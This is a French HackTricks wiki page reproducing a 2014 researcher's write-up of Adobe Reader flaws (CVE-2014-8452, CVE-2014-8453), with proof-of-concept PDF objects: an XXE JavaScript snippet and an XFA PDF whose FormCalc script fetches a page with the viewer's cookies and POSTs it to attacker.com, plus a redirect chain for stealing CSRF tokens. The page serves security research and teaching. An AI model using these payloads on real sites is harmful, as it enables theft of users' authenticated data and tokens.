mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
137 lines
7 KiB
Markdown
137 lines
7 KiB
Markdown
# Téléchargement de PDF - Contournement XXE et CORS
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
#### Contenu copié depuis [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)
|
|
|
|
### La fonction Javascript dans Reader peut être utilisée pour lire des données à partir d'entités externes (CVE-2014-8452)
|
|
|
|
Statut : Corrigé\
|
|
Réalité : Non corrigé\
|
|
\
|
|
Celui-ci concerne un simple XXE que j'ai découvert.\
|
|
J'ai lu l'article "Polyglots: Crossing Origins by Crossing Formats", où ils ont discuté d'une vulnérabilité dans\
|
|
XMLData.parse. Il était possible d'utiliser des entités externes et de les référencer.\
|
|
J'ai lu la spécification et il s'avère qu'il y a plus de fonctions que "parse" pour lire XML.\
|
|
J'ai créé un simple fichier xml, qui référence une URL du même domaine et je l'ai analysé avec loadXML.\
|
|
Ça a marché :
|
|
|
|
![](https://4.bp.blogspot.com/-is4Q5hSZk-Y/VIwdzdAckWI/AAAAAAAAACI/OAzBs9Q-T50/s1600/xxe.png)
|
|
```
|
|
7 0 obj
|
|
<<
|
|
/Type /Action
|
|
/S /JavaScript
|
|
/JS (
|
|
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
|
|
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
|
|
xml = XMLData.parse(cXMLDoc,false);
|
|
xml.loadXML(cXMLDoc2,false,true);
|
|
)
|
|
>>
|
|
endobj
|
|
```
|
|
L'impact est limité car\
|
|
o) il est limité à la même origine\
|
|
o) les pages HTML cassent le XML\
|
|
o) les entités dynamiques ne sont pas prises en charge\
|
|
o) J'ai eu l'idée d'utiliser un XML utf-16 pour éviter de casser la structure XML, mais cela n'a pas fonctionné.\
|
|
\
|
|
Mais cela peut encore être utilisé pour lire JSON.
|
|
|
|
### Contournement de la politique de même origine dans Reader (CVE-2014-8453)
|
|
|
|
Statut: corrigé\
|
|
Réalité: corrigé mais même origine toujours vulnérable!\
|
|
\
|
|
À mon avis, c'est la vulnérabilité la plus puissante. Même sans le contournement d'origine, cela vous montre\
|
|
à quel point les PDF peuvent être puissants/terrifiants.\
|
|
Beaucoup de gens savent que les PDF prennent en charge un langage de script appelé Javascript, mais il y en a un autre.\
|
|
Il est mentionné dans la spécification pour XFA, un type de fichier également pris en charge par le lecteur Adobe.\
|
|
Il s'appelle formcalc et il n'est pas si puissant. Il est utilisé pour des calculs mathématiques simples. Mais dans la spécification Adobe,\
|
|
il y a trois fonctions supplémentaires: 'GET', 'POST' et 'PUT'. Oui, leurs noms parlent d'eux-mêmes.\
|
|
'GET' a un paramètre: une URL. Il utilisera le navigateur (OUI, LES COOKIES) pour récupérer l'URL et renvoyer le contenu de celle-ci.\
|
|
Nous pouvons ensuite utiliser 'POST' pour envoyer le contenu renvoyé à notre propre serveur:\
|
|
\
|
|
var content = GET("myfriends.php");\
|
|
Post("http://attaquant.com",content);\
|
|
\
|
|
Ces fonctions sont de même origine, donc un site Web doit nous permettre de télécharger un PDF. Ce n'est pas si irréaliste pour\
|
|
la plupart des sites Web. Attaquant.com n'est pas de même origine, donc vous devez configurer un crossdomain.xml, comme d'habitude avec les produits Adobe.\
|
|
\
|
|
Pour résumer: Ce n'est pas un bug, c'est une fonctionnalité. Dès que vous êtes autorisé à télécharger un PDF sur un site Web,\
|
|
vous pouvez accéder au site Web dans le contexte de l'utilisateur qui visualise le PDF. Parce que les demandes sont émises\
|
|
par le navigateur, les cookies sont également envoyés. Vous pouvez également l'utiliser pour casser toute protection CSRF en lisant les jetons.
|
|
```
|
|
% a PDF file using an XFA
|
|
% most whitespace can be removed (truncated to 570 bytes or so...)
|
|
% Ange Albertini BSD Licence 2012
|
|
|
|
% modified by insertscript
|
|
|
|
%PDF-1. % can be truncated to %PDF-\0
|
|
|
|
1 0 obj <<>>
|
|
stream
|
|
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
|
|
<config><present><pdf>
|
|
<interactive>1</interactive>
|
|
</pdf></present></config>
|
|
<template>
|
|
<subform name="_">
|
|
<pageSet/>
|
|
<field id="Hello World!">
|
|
<event activity="initialize">
|
|
<script contentType='application/x-formcalc'>
|
|
var content = GET("myfriends.php");
|
|
Post("http://attacker.com",content);
|
|
</script>
|
|
</event>
|
|
</field>
|
|
</subform>
|
|
</template>
|
|
</xdp:xdp>
|
|
endstream
|
|
endobj
|
|
|
|
trailer <<
|
|
/Root <<
|
|
/AcroForm <<
|
|
/Fields [<<
|
|
/T (0)
|
|
/Kids [<<
|
|
/Subtype /Widget
|
|
/Rect []
|
|
/T ()
|
|
/FT /Btn
|
|
>>]
|
|
>>]
|
|
/XFA 1 0 R
|
|
>>
|
|
/Pages <<>>
|
|
>>
|
|
>>
|
|
```
|
|
Après avoir trouvé ces fonctions, j'ai découvert une faille de la politique de même origine. Cela permet d'utiliser le navigateur de la victime comme proxy (@beef travaille encore sur le module^^).
|
|
|
|
La faille est vraiment simple :
|
|
|
|
1. L'utilisateur A charge evil.pdf depuis http://attacker.com/evil.pdf
|
|
2. Evil.pdf utilise formcalc GET pour lire http://attacker.com/redirect.php
|
|
3. redirect.php redirige avec 301 vers http://facebook.com
|
|
4. Adobe reader suivra et lira la réponse sans chercher de crossdomain.xml.
|
|
5. evil.pdf envoie le contenu récupéré via POST à http://attacker.com/log.php
|
|
|
|
Notez qu'en utilisant cette technique, vous pouvez voler les jetons CRSF d'une page et exploiter les vulnérabilités CSRF.
|
|
|
|
Cette simple faille est maintenant corrigée. J'espère qu'ils vont également implémenter un avertissement de dialogue pour les demandes de même origine.
|